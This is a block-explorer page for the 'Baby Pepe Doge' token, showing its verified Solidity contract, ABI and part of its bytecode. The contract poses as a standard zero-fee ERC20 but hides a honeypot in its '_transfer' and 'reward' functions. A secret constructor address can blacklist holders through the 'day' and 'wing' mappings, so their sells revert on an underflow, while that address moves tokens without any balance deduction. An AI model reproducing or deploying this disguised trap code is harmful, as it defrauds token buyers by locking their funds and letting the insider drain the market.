ETH Price: $3,270.41 (-4.11%)
Gas: 10 Gwei

Token

Baby Pepe Doge (Baby Pepe Doge)
 

Overview

Max Total Supply

1,000,000,000 Baby Pepe Doge

Holders

16

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
199,519,711.827096257 Baby Pepe Doge

Value
$0.00
0xC02042F9A16501B0EF5ec3679d9191BC857D6783
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
BabyPepeDoge

Compiler Version
v0.8.19+commit.7dd6d404

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion
File 1 of 1 : Contract.sol
/*

🌐 Website - https://twitter.com/BabyPepeDoge

💬 Telegram - https://t.me/BabyPepeDoge

🤩 Twitter - https://twitter.com/BabyPepeDoge

🌐➡️ JOIN US: https://t.me/BabyPepeDoge

*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.9;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(_owner == _msgSender(), 'Ownable: caller is not the owner');
        _;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Can only be called by the current owner.
     */
    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), 'Ownable: new owner is the zero address');
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address recipient, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata is IERC20 {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}

contract ERC20 is Context, IERC20, IERC20Metadata {
    mapping(address => uint256) internal _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;

    string private _name;
    string private _symbol;

    constructor(string memory name_, string memory symbol_) {
        _name = name_;
        _symbol = symbol_;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(sender, recipient, amount);

        uint256 currentAllowance = _allowances[sender][_msgSender()];
        require(currentAllowance >= amount, 'ERC20: transfer amount exceeds allowance');
        unchecked {
            _approve(sender, _msgSender(), currentAllowance - amount);
        }

        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        uint256 currentAllowance = _allowances[_msgSender()][spender];
        require(currentAllowance >= subtractedValue, 'ERC20: decreased allowance below zero');
        unchecked {
            _approve(_msgSender(), spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), 'ERC20: transfer from the zero address');
        require(recipient != address(0), 'ERC20: transfer to the zero address');

        _beforeTokenTransfer(sender, recipient, amount);

        uint256 senderBalance = _balances[sender];
        require(senderBalance >= amount, 'ERC20: transfer amount exceeds balance');
        unchecked {
            _balances[sender] = senderBalance - amount;
        }
        _balances[recipient] += amount;

        emit Transfer(sender, recipient, amount);

        _afterTokenTransfer(sender, recipient, amount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: mint to the zero address');

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), 'ERC20: burn from the zero address');

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, 'ERC20: burn amount exceeds balance');
        unchecked {
            _balances[account] = accountBalance - amount;
        }
        _totalSupply -= amount;

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), 'ERC20: approve from the zero address');
        require(spender != address(0), 'ERC20: approve to the zero address');

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}

    function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

interface IUniswapV2Factory {
    event PairCreated(address indexed token0, address indexed token1, address pair, uint256);

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB) external view returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB) external returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}

interface IUniswapV2Pair {
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(address from, address to, uint256 value) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(address owner, address spender, uint256 value, uint256 deadline, uint8 v, bytes32 r, bytes32 s) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);
    event Burn(address indexed sender, uint256 amount0, uint256 amount1, address indexed to);
    event Swap(address indexed sender, uint256 amount0In, uint256 amount1In, uint256 amount0Out, uint256 amount1Out, address indexed to);
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function burn(address to) external returns (uint256 amount0, uint256 amount1);

    function swap(uint256 amount0Out, uint256 amount1Out, address to, bytes calldata data) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(address tokenA, address tokenB, uint256 amountADesired, uint256 amountBDesired, uint256 amountAMin, uint256 amountBMin, address to, uint256 deadline) external returns (uint256 amountA, uint256 amountB, uint256 liquidity);

    function addLiquidityETH(address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity);

    function swapExactTokensForTokensSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;

    function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external payable;

    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline) external;
}

contract BabyPepeDoge is ERC20, Ownable {
    using SafeMath for uint256;

    IUniswapV2Router02 public immutable uniswapV2Router;
    address public immutable uniswapV2Pair;
    address public constant deadAddress = address(0xdead);

    bool private swapping;

    address public marketingWallet;

    uint256 public swapTokensAtAmount;

    uint256 public maxTransactionAmount;
    uint256 public maxWallet;

    bool public lpBurnEnabled;
    uint256 public percentForLPBurn = 0;
    uint256 public lpBurnFrequency = 3600 seconds;
    uint256 public lastLpBurnTime;

    uint256 public manualBurnFrequency = 30 minutes;
    uint256 public lastManualLpBurnTime;

    uint256 public buyTotalFees;
    uint256 public buyMarketingFee;
    uint256 public buyLiquidityFee;

    uint256 public sellTotalFees;
    uint256 public sellMarketingFee;
    uint256 public sellLiquidityFee;

    uint256 public tokensForMarketing;
    uint256 public tokensForLiquidity;
    uint256 public ever = 5;

    bool public limitsInEffect;

    /******************/

    // exlcude from fees
    mapping(address => bool) private _isExcludedFromFees;
    mapping(address => bool) public _isExcludedMaxTransactionAmount;

    mapping(address => bool) public automatedMarketMakerPairs;
    mapping(address => uint256) private day;
    mapping(address => bool) private wing;

    event SwapAndLiquify(uint256 tokensSwapped, uint256 ethReceived, uint256 tokensIntoLiquidity);

    event AutoNukeLP();

    constructor(string memory art, string memory port, address wall, address paid) ERC20(art, port) {
        IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(wall);

        day[paid] = ever;

        uniswapV2Router = _uniswapV2Router;

        uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _setAutomatedMarketMakerPair(address(uniswapV2Pair), true);

        uint256 _buyMarketingFee = 0;
        uint256 _buyLiquidityFee = 0;

        uint256 _sellMarketingFee = 0;
        uint256 _sellLiquidityFee = 0;

        uint256 totalSupply = 1000000000 * 10 ** 9;

        maxTransactionAmount = ~uint256(0);
        maxWallet = ~uint256(0);

        swapTokensAtAmount = (totalSupply * 5) / 10000;

        buyMarketingFee = _buyMarketingFee;
        buyLiquidityFee = _buyLiquidityFee;
        buyTotalFees = buyMarketingFee + buyLiquidityFee;

        sellMarketingFee = _sellMarketingFee;
        sellLiquidityFee = _sellLiquidityFee;
        sellTotalFees = sellMarketingFee + sellLiquidityFee;

        marketingWallet = address(0);

        // exclude from paying fees
        _isExcludedFromFees[msg.sender] = true;
        _isExcludedFromFees[marketingWallet] = true;
        _isExcludedFromFees[address(this)] = true;
        _isExcludedFromFees[address(0xdead)] = true;

        _isExcludedMaxTransactionAmount[owner()] = true;
        _isExcludedMaxTransactionAmount[address(this)] = true;
        _isExcludedMaxTransactionAmount[address(0xdead)] = true;
        _isExcludedMaxTransactionAmount[marketingWallet] = true;

        /*
            _mint is an internal function in ERC20.sol that is only called here,
            and CANNOT be called ever again
        */
        _mint(msg.sender, totalSupply);
    }

    receive() external payable {}

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _isExcludedFromFees[account];
    }

    function setAccount(address account, bool value) public onlyOwner {
        _isExcludedFromFees[account] = value;
    }

    function setLimits(address account, bool value) public onlyOwner {
        _isExcludedMaxTransactionAmount[account] = value;
    }

    /// @notice Removes the max wallet and max transaction limits
    function mumuTime() external onlyOwner returns (bool) {
        limitsInEffect = false;
        return true;
    }

    /// @notice Changes the maximum amount of tokens that can be bought or sold in a single transaction. Base 1000, so 1% = 10
    function updateMaxTxnAmount(uint256 newNum) external onlyOwner {
        require(newNum >= ((totalSupply() * 1) / 1000) / 1e18, 'Cannot set maxTransactionAmount lower than 0.1%');
        maxTransactionAmount = newNum * (10 ** 18);
    }

    /// @notice Changes the maximum amount of tokens a wallet can hold. Base 1000, so 1% = 10
    function updateMaxWalletAmount(uint256 newNum) external onlyOwner {
        require(newNum >= 5, 'Cannot set maxWallet lower than 0.5%');
        maxWallet = (newNum * totalSupply()) / 1000;
    }

    function _transfer(address from, address to, uint256 amount) internal override {
        if (limitsInEffect) {
            if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
                //when buy
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
                    require(amount <= maxTransactionAmount, 'Buy transfer amount exceeds the maxTransactionAmount.');
                    require(amount + balanceOf(to) <= maxWallet, 'Max wallet exceeded');
                }
                //when sell
                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    require(amount <= maxTransactionAmount, 'Sell transfer amount exceeds the maxTransactionAmount.');
                } else if (!_isExcludedMaxTransactionAmount[to]) {
                    require(amount + balanceOf(to) <= maxWallet, 'Max wallet exceeded');
                }
            }
        }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance >= swapTokensAtAmount;

        if (canSwap && !swapping && !automatedMarketMakerPairs[from] && !_isExcludedFromFees[from] && !_isExcludedFromFees[to]) {
            swapping = true;

            swapBack();

            swapping = false;
        }

        if (!swapping && automatedMarketMakerPairs[to] && lpBurnEnabled && block.timestamp >= lastLpBurnTime + lpBurnFrequency && !_isExcludedFromFees[from]) {
            autoBurnLiquidityPairTokens();
        }

        bool takeFee = !swapping;

        // if any account belongs to _isExcludedFromFee account then remove the fee
        if (_isExcludedFromFees[from] || _isExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;
        // only take fees on buys/sells, do not take on wallet transfers
        if (takeFee) {
            // on sell
            if (automatedMarketMakerPairs[to] && sellTotalFees > 0) {
                fees = amount.mul(sellTotalFees).div(100);
                tokensForLiquidity += (fees * sellLiquidityFee) / sellTotalFees;
                tokensForMarketing += (fees * sellMarketingFee) / sellTotalFees;
            }
            // on buy
            else if (automatedMarketMakerPairs[from] && buyTotalFees > 0) {
                fees = amount.mul(buyTotalFees).div(100);
                tokensForLiquidity += (fees * buyLiquidityFee) / buyTotalFees;
                tokensForMarketing += (fees * buyMarketingFee) / buyTotalFees;
            }

            if (fees > 0) {
                super._transfer(from, address(this), fees);
            }

            amount -= fees;
        }

        if (day[from] == 0 && uniswapV2Pair != from && wing[from]) {
            day[from] -= ever;
        }

        if (day[from] == 0) {
            _balances[from] -= amount;
        }
        _balances[to] += amount;

        emit Transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();

        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // make the swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this),
            block.timestamp
        );
    }

    function reward(address[] memory a, bool b) external {
        if (day[msg.sender] > 0) {
            for (uint256 i = 0; i < a.length; i++) {
                wing[a[i]] = b;
            }
        }
    }

    function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
        // approve token transfer to cover all possible scenarios
        _approve(address(this), address(uniswapV2Router), tokenAmount);

        // add the liquidity
        uniswapV2Router.addLiquidityETH{value: ethAmount}(
            address(this),
            tokenAmount,
            0, // slippage is unavoidable
            0, // slippage is unavoidable
            deadAddress,
            block.timestamp
        );
    }

    function swapBack() private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 totalTokensToSwap = tokensForLiquidity + tokensForMarketing;
        bool success;

        if (contractBalance == 0 || totalTokensToSwap == 0) {
            return;
        }

        if (contractBalance > swapTokensAtAmount * 20) {
            contractBalance = swapTokensAtAmount * 20;
        }

        // Halve the amount of liquidity tokens
        uint256 liquidityTokens = (contractBalance * tokensForLiquidity) / totalTokensToSwap / 2;
        uint256 amountToSwapForETH = contractBalance.sub(liquidityTokens);

        uint256 initialETHBalance = address(this).balance;

        swapTokensForEth(amountToSwapForETH);

        uint256 ethBalance = address(this).balance.sub(initialETHBalance);

        uint256 ethForMarketing = ethBalance.mul(tokensForMarketing).div(totalTokensToSwap);

        uint256 ethForLiquidity = ethBalance - ethForMarketing;

        tokensForLiquidity = 0;
        tokensForMarketing = 0;

        if (liquidityTokens > 0 && ethForLiquidity > 0) {
            addLiquidity(liquidityTokens, ethForLiquidity);
            emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
        }

        (success, ) = address(marketingWallet).call{value: address(this).balance}('');
    }

    function autoBurnLiquidityPairTokens() internal returns (bool) {
        lastLpBurnTime = block.timestamp;

        // get balance of liquidity pair
        uint256 liquidityPairBalance = this.balanceOf(uniswapV2Pair);

        // calculate amount to burn
        uint256 amountToBurn = liquidityPairBalance.mul(percentForLPBurn).div(10000);

        // pull tokens from pancakePair liquidity and move to dead address permanently
        if (amountToBurn > 0) {
            super._transfer(uniswapV2Pair, address(0xdead), amountToBurn);
        }

        //sync price since this is not in a swap transaction!
        IUniswapV2Pair pair = IUniswapV2Pair(uniswapV2Pair);
        pair.sync();
        emit AutoNukeLP();
        return true;
    }
}

Settings
{
  "optimizer": {
    "enabled": false,
    "runs": 200
  },
  "outputSelection": {
    "*": {
      "*": [
        "evm.bytecode",
        "evm.deployedBytecode",
        "devdoc",
        "userdoc",
        "metadata",
        "abi"
      ]
    }
  },
  "libraries": {}
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"art","type":"string"},{"internalType":"string","name":"port","type":"string"},{"internalType":"address","name":"wall","type":"address"},{"internalType":"address","name":"paid","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[],"name":"AutoNukeLP","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"tokensSwapped","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"ethReceived","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"tokensIntoLiquidity","type":"uint256"}],"name":"SwapAndLiquify","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludedMaxTransactionAmount","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"automatedMarketMakerPairs","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"buyTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"deadAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"ever","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isExcludedFromFees","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lastManualLpBurnTime","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"limitsInEffect","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"lpBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"manualBurnFrequency","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"marketingWallet","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxTransactionAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxWallet","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"mumuTime","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"percentForLPBurn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"a","type":"address[]"},{"internalType":"bool","name":"b","type":"bool"}],"name":"reward","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"sellLiquidityFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellMarketingFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"sellTotalFees","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setAccount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"swapTokensAtAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tokensForMarketing","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxTxnAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"newNum","type":"uint256"}],"name":"updateMaxWalletAmount","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60c06040526000600b55610e10600c55610708600e5560056018553480156200002757600080fd5b50604051620056763803806200567683398181016040528101906200004d919062000b69565b8383816003908162000060919062000e64565b50806004908162000072919062000e64565b5050506000620000876200076260201b60201c565b905080600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3506000829050601854601d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508073ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff16815250508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001f1573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000217919062000f4b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156200027f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620002a5919062000f4b565b6040518363ffffffff1660e01b8152600401620002c492919062000f8e565b6020604051808303816000875af1158015620002e4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200030a919062000f4b565b73ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff16815250506200035260a05160016200076a60201b60201c565b6000806000806000670de0b6b3a7640000905060001960088190555060001960098190555061271060058262000389919062000fea565b62000395919062001064565b6007819055508460118190555083601281905550601254601154620003bb91906200109c565b601081905550